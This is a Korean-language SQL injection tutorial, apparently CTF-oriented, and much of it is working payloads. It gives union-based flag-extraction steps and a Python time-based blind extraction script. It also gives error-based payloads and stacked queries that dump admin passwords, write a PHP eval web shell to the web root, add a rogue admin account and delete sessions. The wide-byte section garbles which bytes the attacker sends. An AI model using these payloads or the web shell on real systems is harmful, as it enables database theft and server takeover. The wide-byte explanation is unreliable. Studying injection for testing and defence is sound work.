1. 공격 원리
사용자 입력 데이터에 대한 적절한 검증이나 필터링이 이루어지지 않을 경우, 공격자는 백엔드에서 실행되는 SQL 쿼리 구조를 악용할 수 있다. 이를 통해 조작된 SQL 문을 삽입함으로써 데이터베이스의 정보를 탈취하거나, 데이터를 변조·삭제하는 등의 비정상적인 동작을 유도할 수 있다.
성공적인 SQL 인젝션은 민감한 정보 유출, 계정 탈취, 시스템 장악 등 심각한 보안 사고로 이어질 수 있다.
2. 주요 분류 기준
- 입력 위치 기반: GET 파라미터, POST 바디, HTTP 헤더 등을 통한 인젝션.
- 응답 특성 기반:
- 유형 표시 인젝션: 쿼리 결과나 오류 메시지가 직접 노출됨.
- 무응답 인젝션(블라인드): 응답 변화 없이 참/거짓 여부 또는 지연 시간을 통해 추론.
- 데이터 형식 기반:
- 문자형: 입력 값이 문자열이며, 일반적으로 작은따옴표(')로 감싸야 함. 인젝션 시 종결 기호 처리 필요.
- 정수형: 숫자 값으로 입력되며 따옴표 없이 사용. 인젝션 시 문법 폐쇄가 필요 없음.
3. 기본 SQL 문법 정리
-- 모든 열 조회
SELECT * FROM table_name;
-- 특정 열 선택
SELECT col1, col2 FROM table_name;
-- 조건 검색
SELECT * FROM users WHERE username = 'admin';
-- 정렬
SELECT * FROM items ORDER BY price DESC;
-- 결합 쿼리
SELECT a, b FROM t1 UNION SELECT c, d FROM t2;
-- 핵심 함수
VERSION() -- MySQL 버전 반환
DATABASE() -- 현재 DB 이름
USER() -- 접속 사용자 정보
@@datadir -- 데이터 저장 경로
@@version_compile_os -- 서버 운영체제
-- 주석 표현
-- 한 줄 주석
# 다른 형태의 한 줄 주석
-- 논리 연산 예시
SELECT * FROM users WHERE id < 4 AND username='admin';
SELECT * FROM users WHERE id > 100 OR username='admin';
4. 실습 예제: UNION 기반 인젝션
예제 1: UNION 기반 정보 추출
- 입력 형식 확인
1' AND 1=1#→ 오류 발생 → 문자형 가능성
1 AND 1=1#→ 정상 출력 → 실제로는 정수형 (오류 없음) - 컬럼 수 확인
-1 ORDER BY 4#→ 성공
-1 ORDER BY 5#→ 실패 → 실제 컬럼 수는 4개 - 출력 가능한 위치 탐지
-1 UNION SELECT 1,2,3,4#→ 화면에 2와 4만 노출 → 2번과 4번 컬럼 출력 가능 - 현재 DB 이름 획득
-1 UNION SELECT 1,DATABASE(),2,3#→ 결과에 DB명 "ctf" 노출 - 테이블 목록 추출
-1 UNION SELECT 1,TABLE_NAME,2,3 FROM information_schema.tables WHERE table_schema='ctf'#→ flag, user 발견 - 특정 테이블의 컬럼 조회
-1 UNION SELECT 1,COLUMN_NAME,2,3 FROM information_schema.columns WHERE table_name='flag' AND table_schema='ctf'# - 최종 데이터 탈취
-1 UNION SELECT 1,flag,id,2 FROM flag#→ 플래그 값 확보
예제 2: GROUP_CONCAT 활용
컬럼이 숨겨져 있거나 다수일 때, GROUP_CONCAT() 함수를 사용해 한 번에 모든 값을 문자열로 병합하여 출력 가능:
-1 UNION SELECT 1,GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='flag'#
5. 블라인드 인젝션 (참/거짓 기반)
응답 본문에 직접적인 오류나 데이터가 나타나지 않지만, 조건식의 참/거짓 여부에 따라 페이지 출력의 차이가 있는 경우 사용.
단계별 추출 프로세스:
- 인젝션 포인트 존재 여부 확인
- DB 이름 길이 추정
- ASCII 기반 문자 단위 유추
- 테이블 수 및 이름 추출
- 컬럼 정보 탐색
- 실제 데이터 유출
자동화 스크립트를 통해 효율적으로 수행 가능.
6. 타임 기반 블라인드 인젝션
응답 내용 자체가 전혀 달라지지 않더라도, SLEEP() 함수를 이용해 서버 응답 지연을 유도하고 그 시간 차이로 정보를 추론한다.
예시:
1 AND IF((SELECT DATABASE()) LIKE 'a%', SLEEP(5), 0)
조건이 참일 경우 5초 지연 → 반복 테스트로 문자 하나씩 추출 가능.
자동 추출 스크립트 (요약)
import requests
import time
def check_delay(payload):
start = time.time()
try:
requests.get(target_url, params={param: payload}, timeout=10)
return time.time() - start > 4
except:
return True
# 예: 데이터베이스 이름 추출
result = ""
for pos in range(1, 20):
for c in "abcdefghijklmnopqrstuvwxyz":
payload = f"1 AND IF(ASCII(SUBSTRING(DATABASE(),{pos},1))={ord(c)},SLEEP(4),0)"
if check_delay(payload):
result += c
break
print("DB Name:", result)
7. 에러 기반 인젝션
의도적으로 오류를 발생시켜 그 메시지 내에 포함된 정보를 노출시키는 방식. 주요 함수 활용:
AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))AND UPDATEXML(1, CONCAT(0x7e, USER(), 0x7e), 1)AND EXP(~(SELECT * FROM (SELECT VERSION()) a))
오류 메시지를 통해 사용자, 버전, 스키마 등의 정보를 직접 확인 가능.
8. 와이드바이트 인젝션 (GBK 등)
멀티바이트 인코딩(예: GBK) 환경에서 백슬래시(\) 이스케이프를 우회하는 기법.
원리:
- 입력된 작은따옴표
'는 자동으로\'로 이스케이프 됨. - 공격자가
%BF%27대신%BF%5C%27을 전송하면, - 서버는 먼저
'를\'로 만들고, 전체가%BF%5C%27가 됨. - GBK 디코딩 시
%BF%5C는 유효한 문자 "縗" 로 해석되고, 남은%27(=') 는 이스케이프 없이 남아 SQL 문을 깨뜨림.
결과적으로 ' 가 자유롭게 사용 가능해져 인젝션이 성립.
9. 스택드 쿼리 인젝션 (Stacked Queries)
세미콜론(;) 을 이용해 여러 개의 SQL 문을 동시에 실행하는 기법. 지원 여부는 데이터베이스 드라이버 및 설정에 따라 달라짐.
예시 페이로드:
1'; SELECT username, password FROM admin; --
1'; SELECT '<?php @eval($_POST[c]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
1'; INSERT INTO users VALUES ('admin2', 'pass123'); --
1'; DELETE FROM sessions; --
파일 생성, 계정 추가, 데이터 삭제 등 강력한 영향을 미칠 수 있음.